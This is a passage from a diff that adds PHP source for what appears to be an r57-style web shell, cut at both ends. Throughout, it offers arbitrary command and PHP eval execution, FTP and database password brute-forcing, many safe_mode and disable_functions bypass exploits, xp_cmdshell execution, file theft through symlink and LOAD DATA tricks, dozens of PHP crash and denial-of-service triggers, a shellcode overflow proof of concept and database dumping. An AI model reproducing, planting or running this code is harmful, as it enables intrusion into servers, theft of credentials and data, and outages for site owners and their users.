case 'curl': + $_POST['cmd'] = which('curl')." \"".$_POST['rem_file']."\" -o \"".$_POST['loc_file']."\""; + break; + } +} +if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_file_up") || ($_POST['cmd']=="ftp_file_down"))) + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { err(3); } + else + { + if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); } + else + { + if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);} + if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);} + } + } + @ftp_close($connection); + $_POST['cmd'] = ""; + } + +if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_brute") || ($_POST['cmd']=="db_brute"))) + { + if($_POST['cmd']=="ftp_brute"){ + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + }else if($_POST['cmd']=="db_brute"){ + $connection = 1; + } + if(!$connection) { err(3); $_POST['cmd'] = ""; } + else if(($_POST['brute_method']=='passwd') && (!$users=get_users('/etc/passwd'))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; } + else if(($_POST['brute_method']=='dic') && (!$users=get_users($_POST['dictionary']))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>Can\'t get password list</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; } + if($_POST['cmd']=="ftp_brute"){@ftp_close($connection);} + } + +echo $table_up3; +if (empty($_POST['cmd']) && !$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); } +else if(empty($_POST['cmd']) && $safe_mode){ $_POST['cmd']="safe_dir"; } +echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>"; +{ + switch($_POST['cmd']) + { + case 'safe_dir': + + if (@function_exists('scandir') && ($d=@scandir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath'])) + { + foreach ($d as $file) + { + if ($file=="." || $file=="..") continue; + @clearstatcache(); + @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); + if(!$unix){ + echo date("d.m.Y H:i",$mtime); + if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); + } + else{ + if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){ + $owner = @posix_getpwuid($uid); + $grgid = @posix_getgrgid($gid); + }else{$owner['name']=$grgid['name']='';} + echo $inode." "; + echo perms(@fileperms($file)); + @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); + echo @date("d.m.Y H:i ",$mtime); + } + echo "$file\n"; + } + } + + elseif (@function_exists('dir') && ($d=@dir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath'])) + { + while (false!==($file=$d->read())) + { + if ($file=="." || $file=="..") continue; + @clearstatcache(); + @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); + if(!$unix){ + echo date("d.m.Y H:i",$mtime); + if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); + } + else{ + if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){ + $owner = @posix_getpwuid($uid); + $grgid = @posix_getgrgid($gid); + }else{$owner['name']=$grgid['name']='';} + echo $inode." "; + echo perms(@fileperms($file)); + @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); + echo @date("d.m.Y H:i ",$mtime); + } + echo "$file\n"; + } + $d->close(); + } + + elseif (@function_exists('opendir') && @function_exists('readdir') && ($d=@opendir($dir)) && !isset($_POST['glob']) && !isset($_POST['realpath'])) + { + while (false!==($file=@readdir($d))) + { + if ($file=="." || $file=="..") continue; + @clearstatcache(); + @list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); + if(!$unix){ + echo date("d.m.Y H:i",$mtime); + if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); + } + else{ + if(@function_exists('posix_getpwuid') && @function_exists('posix_getgrgid')){ + $owner = @posix_getpwuid($uid); + $grgid = @posix_getgrgid($gid); + }else{$owner['name']=$grgid['name']='';} + echo $inode." "; + echo perms(@fileperms($file)); + @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); + echo @date("d.m.Y H:i ",$mtime); + } + echo "$file\n"; + } + @closedir($d); + } + + elseif(@function_exists('glob') && (isset($_POST['glob']) || !isset($_POST['realpath']))) + { + echo "PHP glob() listing directory Safe_mode bypass Exploit\r\n\r\n"; + function eh($errno, $errstr, $errfile, $errline) + { + global $D, $c, $i; + preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o); + if($o){ $D[$c] = $o[2]; $c++;} + } + $error_reporting = @ini_get('error_reporting'); + error_reporting(E_WARNING); + @ini_set("display_errors", 1); + @ini_alter("display_errors", 1); + $root = "/"; + if($dir) $root = $dir; + $c = 0; $D = array(); + @set_error_handler("eh"); + $chars = "_-.0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; + for($i=0; $i < strlen($chars); $i++) + { + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}"; + $prevD = $D[count($D)-1]; + @glob($path."*"); + if($D[count($D)-1] != $prevD) + { + for($j=0; $j < strlen($chars); $j++) + { + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}"; + $prevD2 = $D[count($D)-1]; + @glob($path."*"); + if($D[count($D)-1] != $prevD2) + { + for($p=0; $p < strlen($chars); $p++) + { + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}"; + $prevD3 = $D[count($D)-1]; + @glob($path."*"); + if($D[count($D)-1] != $prevD3) + { + for($r=0; $r < strlen($chars); $r++) + { + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}"; + @glob($path."*"); + } + } + } + } + } + } + } + $D = array_unique($D); + foreach($D as $item) echo "{$item}\r\n"; + echo "\r\n Generation time: ".round(@getmicrotime()-starttime,4)." sec\r\n"; + error_reporting($error_reporting); + } + elseif(@function_exists('realpath') && (!isset($_POST['glob']) || isset($_POST['realpath']))) + { + echo "PHP realpath() listing directory Safe_mode bypass Exploit\r\n\r\n"; + if(!$dir){$dir='/etc/';}; + if(!empty($_POST['end_rlph'])){$end_rlph=$_POST['end_rlph'];}else{$end_rlph='';} + if(!empty($_POST['n_rlph'])){$n_rlph=$_POST['n_rlph'];}else{$n_rlph='3';} + + if($realpath=realpath($dir.'/')){echo $realpath."\r\n";} + if($end_rlph!='' && $realpath=realpath($dir.'/'.$end_rlph)){echo $realpath."\r\n";} + foreach($presets_rlph as $preset_rlph){ + if($realpath=realpath($dir.'/'.$preset_rlph.$end_rlph)){echo $realpath."\r\n";} + } + for($i=0; $i < strlen($chars_rlph); $i++){ + if($realpath=realpath($dir."/{$chars_rlph[$i]}".$end_rlph)){echo $realpath."\r\n";} + if($n_rlph<=1){continue;}; + for($j=0; $j < strlen($chars_rlph); $j++){ + if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}".$end_rlph)){echo $realpath."\r\n";} + if($n_rlph<=2){continue;}; + for($x=0; $x < strlen($chars_rlph); $x++){ + if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}".$end_rlph)){echo $realpath."\r\n";} + if($n_rlph<=3){continue;}; + for($y=0; $y < strlen($chars_rlph); $y++){ + if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}".$end_rlph)){echo $realpath."\r\n";} + if($n_rlph<=4){continue;}; + for($z=0; $z < strlen($chars_rlph); $z++){ + if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}".$end_rlph)){echo $realpath."\r\n";} + if($n_rlph<=5){continue;}; + for($w=0; $w < strlen($chars_rlph); $w++){ + if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}{$chars_rlph[$w]}".$end_rlph)){echo $realpath."\r\n";} + } + } + } + } + } + } + echo "\r\n Generation time: ".round(@getmicrotime()-starttime,4)." sec\r\n"; + } + else echo $lang[$language.'_text29']; + break; + + case 'test1': + $ci = @curl_init("file://".$_POST['test1_file']); + $cf = @curl_exec($ci); + echo htmlspecialchars($cf); + break; + case 'test2': + @include($_POST['test2_file']); + break; + case 'test3': + if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; } + $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']); + if($db) + { + if(@mysql_select_db($_POST['test3_md'],$db)) + { + @mysql_query("DROP TABLE IF EXISTS temp_r57_table"); + @mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )"); +/* @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");*/ + @mysql_query("LOAD DATA LOCAL INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table"); + $r = @mysql_query("SELECT * FROM temp_r57_table"); + while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0])."\r\n"; } + @mysql_query("DROP TABLE IF EXISTS temp_r57_table"); + } + else echo "[-] ERROR! Can't select database"; + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to mysql server"; + break; + case 'test4': + if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; } + $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']); + if($db) + { + if(@mssql_select_db($_POST['test4_md'],$db)) + { + @mssql_query("drop table r57_temp_table",$db); + @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db); + @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db); + $res = mssql_query("select * from r57_temp_table",$db); + while(($row=@mssql_fetch_row($res))) + { + echo htmlspecialchars($row[0])."\r\n"; + } + @mssql_query("drop table r57_temp_table",$db); + } + else echo "[-] ERROR! Can't select database"; + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + case 'test5': + $temp=tempnam($dir, "fname"); + if (@file_exists($temp)) @unlink($temp); + $extra = "-C ".$_POST['test5_file']." -X $temp"; + @mb_send_mail(NULL, NULL, NULL, NULL, $extra); + $str = moreread($temp); + echo htmlspecialchars($str); + @unlink($temp); + break; + case 'test6': + $stream = @imap_open('/etc/passwd', "", ""); + $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*"); + for ($i = 0; $i < count($dir_list); $i++) echo htmlspecialchars($dir_list[$i])."\r\n"; + @imap_close($stream); + break; + case 'test7': + $stream = @imap_open($_POST['test7_file'], "", ""); + $str = @imap_body($stream, 1); + echo htmlspecialchars($str); + @imap_close($stream); + break; + case 'test8': + $temp=@tempnam($_POST['test8_file2'], "copytemp"); + $str = readzlib($_POST['test8_file1'],$temp); + echo htmlspecialchars($str); + @unlink($temp); + break; + + case 'test9': + @ini_restore("safe_mode"); + @ini_restore("open_basedir"); + $str = moreread($_POST['test9_file']); + echo htmlspecialchars($str); + break; + case 'test10': + @ob_clean(); + $error_reporting = @ini_get('error_reporting'); + error_reporting(E_ALL ^ E_NOTICE); + @ini_set("display_errors", 1); + @ini_alter("display_errors", 1); + $str=@fopen($_POST['test10_file'],"r"); + while(!feof($str)){print htmlspecialchars(fgets($str));} + fclose($str); + error_reporting($error_reporting); + break; + case 'test11': + @ob_clean(); + $temp = 'zip://'.$_POST['test11_file']; + $str = moreread($temp); + echo htmlspecialchars($str); + break; + case 'test12': + @ob_clean(); + $temp = 'compress.bzip2://'.$_POST['test12_file']; + $str = moreread($temp); + echo htmlspecialchars($str); + break; + case 'test13': + @error_log($_POST['test13_file1'], 3, "php://../../../../../../../../../../../".$_POST['test13_file2']); + echo $lang[$language.'_text61']; + break; + case 'test14': + @session_save_path($_POST['test14_file2']."\0;$tempdir"); + @session_start(); + @$_SESSION[php]=$_POST['test14_file1']; + echo $lang[$language.'_text61']; + break; + case 'test15': + @readfile($_POST['test15_file1'], 3, "php://../../../../../../../../../../../".$_POST['test15_file2']); + echo $lang[$language.'_text61']; + + break; + case 'test_5_2_6': +echo getcwd()."\n"; +chdir($_POST['test_5_2_6']); +echo getcwd()."\n"; + break; + + + case 'test2_5_2_6': +var_dump(posix_access($_POST['test15_file1'])); + + break; + + case 'test_5_2_4': +//PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass + +//author: shinnai +//mail: shinnai[at]autistici[dot]org +//site: http://shinnai.altervista.org + +//Tested on xp Pro sp2 full patched, worked both from the cli and on apache + +//Technical details: +//ionCube version: 6.5 +//extension: ioncube_loader_win_5.2.dll (other may also be vulnerable) +//url: www.egyspider.eu + +//php.ini settings: +//safe_mode = On +//disable_functions = ioncube_read_file, readfile + +//Description: +//This is useful to obtain juicy informations but also to retrieve source +//code of php pages, password files, etc... you just need to change file path. +//Anyway, don't worry, nobody will read your obfuscated code :) + +//greetz to: BlackLight for help me to understand better PHP + +//P.S. +//This extension contains even an interesting ioncube_write_file function... + +if (!extension_loaded("ionCube Loader")) die("ionCube Loader extension required! You are now can establish any order"); + +$path = str_repeat("..\\", 20); + +$MyBoot_readfile = readfile($path."windows\\system.ini"); #just to be sure that I set correctely disable_function :) + +$MyBoot_ioncube = ioncube_read_file($path."boot.ini"); + +echo $MyBoot_readfile; + +echo "<br><br>ionCube output:<br><br>"; + +echo $MyBoot_ioncube; + break; + + + + case 'egy_perl': +if(!extension_loaded('perl'))die('perl extension is not loaded'); +if(!isset($_GET))$_GET=&$HTTP_GET_VARS; +if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls'; +$perl=new perl(); +echo "<textarea rows='25' cols='75'>"; +$perl->eval("system('".$_GET['cmd']."')"); +echo "</textarea>"; +$_GET['cmd']=htmlspecialchars($_GET['cmd']); + break; + + break; + case 'egy_4_2_0': + for ($i = 0; $i < 60000; $i++) + { + if (($tab = @posix_getpwuid($i)) != NULL) + { + echo $tab['name'].":"; + echo $tab['passwd'].":"; + echo $tab['uid'].":"; + echo $tab['gid'].":"; + echo $tab['gecos'].":"; + echo $tab['dir'].":"; + echo $tab['shell']."<br>"; + } + } + break; + + + case 'egy_5_2_3': +//PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass + +//author: egy spider +//mail: egy_spider@hotmail.com +//site: http://egyspider.eu + +//Tested on xp Pro sp2 full patched, worked both from the cli and on apache + +//Thanks to rgod for all his precious advises :) + +//I set php.ini in this way: +//safe_mode = On +//disable_functions = system +//if you launch the exploit from the cli, cmd.exe will be wxecuted +//if you browse it through apache, you'll see a new cmd.exe process activated in taskmanager + +if (!extension_loaded("win32std")) die("win32std extension required!"); +system("cmd.exe"); //just to be sure that protections work well +win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe"); + break; + + break; + + + case 'test16': + if (@fopen('srpath://../../../../../../../../../../../'.$_POST['test16_file'],"a")) echo $lang[$language.'_text61']; + break; + case 'test17_1': + @unlink('symlinkread'); + @symlink('a/a/a/a/a/a/', 'dummy'); + @symlink('dummy/../../../../../../../../../../../'.$_POST['test17_file'], 'symlinkread'); + @unlink('dummy'); + while (1) + { + @symlink('.', 'dummy'); + @unlink('dummy'); + } + break; + case 'test17_2': + $str=''; + while (strlen($str) < 3) { +/* $str = moreread('symlinkread');*/ + $str = @file_get_contents('symlinkread'); + if($str){ @ob_clean(); echo htmlspecialchars($str);} + } + break; + case 'test17_3': + $dir = $files = array(); + if(@version_compare(@phpversion(),"5.0.0")>=0){ + while (@count($dir) < 3) { + $dir=@scandir('symlinkread'); + if (@count($dir) > 2) {@ob_clean(); @print_r($dir); } + } + } + else { + while (@count($files) < 3) { + $dh = @opendir('symlinkread'); + while (false !== ($filename = @readdir($dh))) { + $files[] = $filename; + } + if(@count($files) > 2){@ob_clean(); @print_r($files); } + } + } + break; + case 'test18': + @putenv("TMPDIR=".$_POST['test18_file2']); + @ini_set("session.save_path", ""); + @ini_alter("session.save_path", ""); + @session_start(); + @$_SESSION[php]=$_POST['test18_file1']; + echo $lang[$language.'_text61']; + break; + case 'test19': + if(empty($_POST['test19_port'])) { $_POST['test19_port'] = "3306"; } + $m = new mysqli('localhost',$_POST['test19_ml'],$_POST['test19_mp'],$_POST['test19_md'],$_POST['test19_port']); + if(@mysqli_connect_errno()){ echo "[-] ERROR! Can't connect to mysqli server: ".mysqli_connect_error() ;}; + $m->options(MYSQLI_OPT_LOCAL_INFILE, 1); + $m->set_local_infile_handler("r"); + $m->query("DROP TABLE IF EXISTS temp_r57_table"); + $m->query("CREATE TABLE temp_r57_table ( 'file' LONGBLOB NOT NULL )"); + $m->query("LOAD DATA LOCAL INFILE \"".$_POST['test19_file']."\" INTO TABLE temp_r57_table"); + $r = $m->query("SELECT * FROM temp_r57_table"); + while(($r_sql = @mysqli_fetch_array($r))) { echo @htmlspecialchars($r_sql[0])."\r\n"; } + $m->query("DROP TABLE IF EXISTS temp_r57_table"); + $m->close(); + break; + } +} + +if((!$safe_mode) && ($_POST['cmd']!="php_eval") && ($_POST['cmd']!="mysql_dump") && ($_POST['cmd']!="db_query") && ($_POST['cmd']!="ftp_brute") && ($_POST['cmd']!="db_brute")){ + $cmd_rep = ex($_POST['cmd']); + if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } + else { echo @htmlspecialchars($cmd_rep)."\n"; } +}/*elseif($safe_mode){ + $cmd_rep = safe_ex($_POST['cmd']); + if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } + else { echo @htmlspecialchars($cmd_rep)."\n"; } +} +*/ + +switch($_POST['cmd']) +{ + case 'dos1': + function a() { a(); } a(); + break; + case 'dos2': + @pack("d4294967297", 2); + break; + case 'dos3': + $a = "a";@unserialize(@str_replace('1', 2147483647, @serialize($a))); + break; + case 'dos4': + $t = array(1);while (1) {$a[] = &$t;}; + break; + case 'dos5': + @dl("sqlite.so");$db = new SqliteDatabase("foo"); + break; + case 'dos6': + preg_match('/(.(?!b))*/', @str_repeat("a", 10000)); + break; + case 'dos7': + @str_replace("A", str_repeat("B", 65535), str_repeat("A", 65538)); + break; + case 'dos8': + @shell_exec("killall -11 httpd"); + break; + case 'dos9': + function cx(){ @tempnam("/www/", '../../../../../..'.$tempdir.'cx'); cx(); } cx(); + break; + case 'dos10': + $a = @str_repeat ("A",438013);$b = @str_repeat ("B",951140);@wordwrap ($a,0,$b,0); + break; + case 'dos11': + @array_fill(1,123456789,"Infigo-IS"); + break; + case 'dos12': + @substr_compare("A","A",12345678); + break; + case 'dos13': + @unserialize("a:2147483649:{"); + break; + case 'dos14': + $Data = @str_ireplace("\n", "<br>", $Data); + break; + case 'dos15': + function toUTF($x) {return chr(($x >> 6) + 192) . chr(($x & 63) + 128);} + $str1 = "";for($i=0; $i < 64; $i++){ $str1 .= toUTF(977);} + @htmlentities($str1, ENT_NOQUOTES, "UTF-8"); + break; + case 'dos16': + $r = @zip_open("x.zip");$e = @zip_read($r);$x = @zip_entry_open($r, $e); + for ($i=0; $i<1000; $i++) $arr[$i]=array(array("")); + unset($arr[600]);@zip_entry_read($e, -1);unset($arr[601]); + break; + case 'dos17': + $z = "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU"; + $y = "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"; + $x = "AQ "; + unset($z);unset($y);$x = base64_decode($x);$y = @sqlite_udf_decode_binary($x);unset($x); + break; + case 'dos18': + $MSGKEY = 519052;$msg_id = @msg_get_queue ($MSGKEY, 0600); + if (!@msg_send ($msg_id, 1, 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH', false, true, $msg_err)) + echo "Msg not sent because $msg_err\n"; + if (@msg_receive ($msg_id, 1, $msg_type, 0xffffffff, $_SESSION, false, 0, $msg_error)) { + echo "$msg\n"; + } else { echo "Received $msg_error fetching message\n"; break; } + @msg_remove_queue ($msg_id); + break; + case 'dos19': + $url = "php://filter/read=OFF_BY_ONE./resource=/etc/passwd"; @fopen($url, "r"); + break; + case 'dos20': + $hashtable = str_repeat("A", 39); + $hashtable[5*4+0]=chr(0x58);$hashtable[5*4+1]=chr(0x40);$hashtable[5*4+2]=chr(0x06);$hashtable[5*4+3]=chr(0x08); + $hashtable[8*4+0]=chr(0x66);$hashtable[8*4+1]=chr(0x77);$hashtable[8*4+2]=chr(0x88);$hashtable[8*4+3]=chr(0x99); + $str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}'; + for ($i=0; $i<65535; $i++) { $str .= 'i:0;R:2;'; } + $str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;'; + @unserialize($str); + break; + case 'dos21': + imagecreatetruecolor(1234,1073741824); + break; + case 'dos22': + imagecopyresized(imagecreatetruecolor(0x7fffffff, 120),imagecreatetruecolor(120, 120), 0, 0, 0, 0, 0x7fffffff, 120, 120, 120); + break; + case 'dos23': + $a = str_repeat ("A",9989776); $b = str_repeat("/", 2798349); iconv_substr($a,0,1,$b); + break; + case 'dos24': + setlocale(LC_COLLATE, str_repeat("A", 34438013)); + break; + case 'dos25': + glob(str_repeat("A", 9638013)); + break; + case 'dos26': + glob("a",-1); + break; + case 'dos27': + fnmatch("*[1]e", str_repeat("A", 9638013)); + break; + case 'dos28': + if (extension_loaded("gd")){ $buff = str_repeat("A",9999); $res = imagepsloadfont($buff); echo "boom!!\n";} + break; + case 'dos29': + if(function_exists('msql_connect')){ msql_pconnect(str_repeat('A',49424).'BBBB'); msql_connect(str_repeat('A',49424).'BBBB');} + break; + case 'dos30': + $a=str_repeat("A", 65535); $b=1; $c=str_repeat("A", 65535); chunk_split($a,$b,$c); + break; + case 'dos31': + if (extension_loaded("win32std") ) { win_browse_file( 1, NULL, str_repeat( "\x90", 264 ), NULL, array( "*" => "*.*" ) );} + break; + case 'dos32': + if (extension_loaded( "iisfunc" ) ){ $buf_unicode = str_repeat( "A", 256 ); $eip_unicode = "\x41\x41"; iis_getservicestate( $buf_unicode . $eip_unicode );} + break; + case 'dos33': + $buff = str_repeat("\x41", 250);$get_EIP = "\x42\x42";$get_ESP = str_repeat("\x43", 100);$get_EBP = str_repeat("\x44", 100);ntuser_getuserlist($buff.$get_EIP.$get_ESP.$get_EBP); + break; + case 'dos34': + if (extension_loaded("bz2")){ $buff = str_repeat("a",1000); com_print_typeinfo($buff);} + break; + case 'dos35': + $a = str_repeat("/", 4199000); iconv(1, $a, 1); + break; + case 'dos36': + $a = str_repeat("/", 2991370); iconv_mime_decode_headers(0, 1, $a); + break; + case 'dos37': + $a = str_repeat("/", 3799000); iconv_mime_decode(1, 0, $a); + break; + case 'dos39': + sprintf("[%'A2147483646s]\n", "A"); + break; + break; + case 'dos40': +// PHP <= 4.4.6 mssql_connect() & mssql_pconnect() local buffer overflow +// poc exploit (and safe_mode bypass) +// windows 2000 sp3 en / seh overwrite +// by rgod +// site: http://egyspider.eu + +// u can easily adjust for php5 +// this as my little contribute to MOPB + +$____scode= +"\xeb\x1b". +"\x5b". +"\x31\xc0". +"\x50". +"\x31\xc0". +"\x88\x43\x59". +"\x53". +"\xbb\xca\x73\xe9\x77". //WinExec +"\xff\xd3". +"\x31\xc0". +"\x50". +"\xbb\x5c\xcf\xe9\x77". //ExitProcess +"\xff\xd3". +"\xe8\xe0\xff\xff\xff". +"\x63\x6d\x64". +"\x2e". +"\x65". +"\x78\x65". +"\x20\x2f". +"\x63\x20". +"start notepad & "; + + $eip="\xdc\xf5\x12"; + $____suntzu=str_repeat("\x90",100); + $____suntzu.=$____scode; + $____suntzu.=str_repeat("a",2460 - strlen($____scode)); + $____suntzu.=$eip; + break; + case 'zend': + if(empty($_POST['zend'])){ +} else { + +$dezend=$_POST['zend']; +include($_POST['zend']); +print_r($GLOBALS); +require_once("$dezend"); +echo "</textarea></p>"; +} +break; + case 'dos38': + $a = str_repeat("/", 9791999); iconv_strlen(1, $a); + break; +} +if ($_POST['cmd']=="php_eval"){ + $eval = @str_replace("<?","",$_POST['php_eval']); + $eval = @str_replace("?>","",$eval); + @eval($eval);} + +if ($_POST['cmd']=="ftp_brute") + { + $suc = 0; + if($_POST['brute_method']=='passwd'){ + foreach($users as $user) + { + $connection = @ftp_connect($ftp_server,$ftp_port,10); + if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; } + else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } } + @ftp_close($connection); + } + }else if(($_POST['brute_method']=='dic') && isset($_POST['ftp_login'])){ + foreach($users as $user) + { + $connection = @ftp_connect($ftp_server,$ftp_port,10); + if(@ftp_login($connection,$_POST['ftp_login'],$user)) { echo "[+] ".$_POST['ftp_login'].":$user - success\r\n"; $suc++; } + @ftp_close($connection); + } + } + echo "\r\n-------------------------------------\r\n"; + $count = count($users); + if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; } + echo $lang[$language.'_text97'].$count."\r\n"; + echo $lang[$language.'_text98'].$suc."\r\n"; + } + +if ($_POST['cmd']=="db_brute") + { + $suc = 0; + if($_POST['brute_method']=='passwd'){ + foreach($users as $user) + { + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $user; + $sql->pass = $user; + if($sql->connect()) { echo "[+] $user:$user - success\r\n"; $suc++; } + } + if(isset($_POST['reverse'])) + { + foreach($users as $user) + { + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $user; + $sql->pass = strrev($user); + if($sql->connect()) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } + } + } + }else if(($_POST['brute_method']=='dic') && isset($_POST['mysql_l'])){ + foreach($users as $user) + { + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $user; + if($sql->connect()) { echo "[+] ".$_POST['mysql_l'].":$user - success\r\n"; $suc++; } + } + } + echo "\r\n-------------------------------------\r\n"; + $count = count($users); + if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; } + echo $lang[$language.'_text97'].$count."\r\n"; + echo $lang[$language.'_text98'].$suc."\r\n"; + } + +if ($_POST['cmd']=="mysql_dump") + { + if(isset($_POST['dif'])) { morewrite($_POST['dif_name'], "mysql_dump\r\n"); } + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $_POST['mysql_p']; + $sql->base = $_POST['mysql_db']; + if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; } + else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; } + else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; } + else { + if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; } + else if(@is_writable($_POST['dif_name'])){ foreach($sql->dump as $v){ morewrite($_POST['dif_name'], $v."\r\n");} } + else { echo "[-] ERROR! Can't write in dump file"; } + } + } + +echo "</textarea></div>"; +echo "</b>"; +echo "</td></tr></table>"; +echo "<table width=100% cellpadding=0 cellspacing=0>"; + +function div_title($title, $id) +{ + return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>'; +} +function div($id) + { + if(isset($_COOKIE[$id]) && ($_COOKIE[$id]==0)) return '<div id="'.$id.'" style="display: none;">'; + $divid=array('id5','id6','id8','id9','id10','id11','id16','id24','id25','id26','id27','id28','id29','id33','id34','id35','id37','id38','id39'); + if(empty($_COOKIE[$id]) && @in_array($id,$divid)) return '<div id="'.$id.'" style="display: none;">'; + return '<div id="'.$id.'">'; + } + 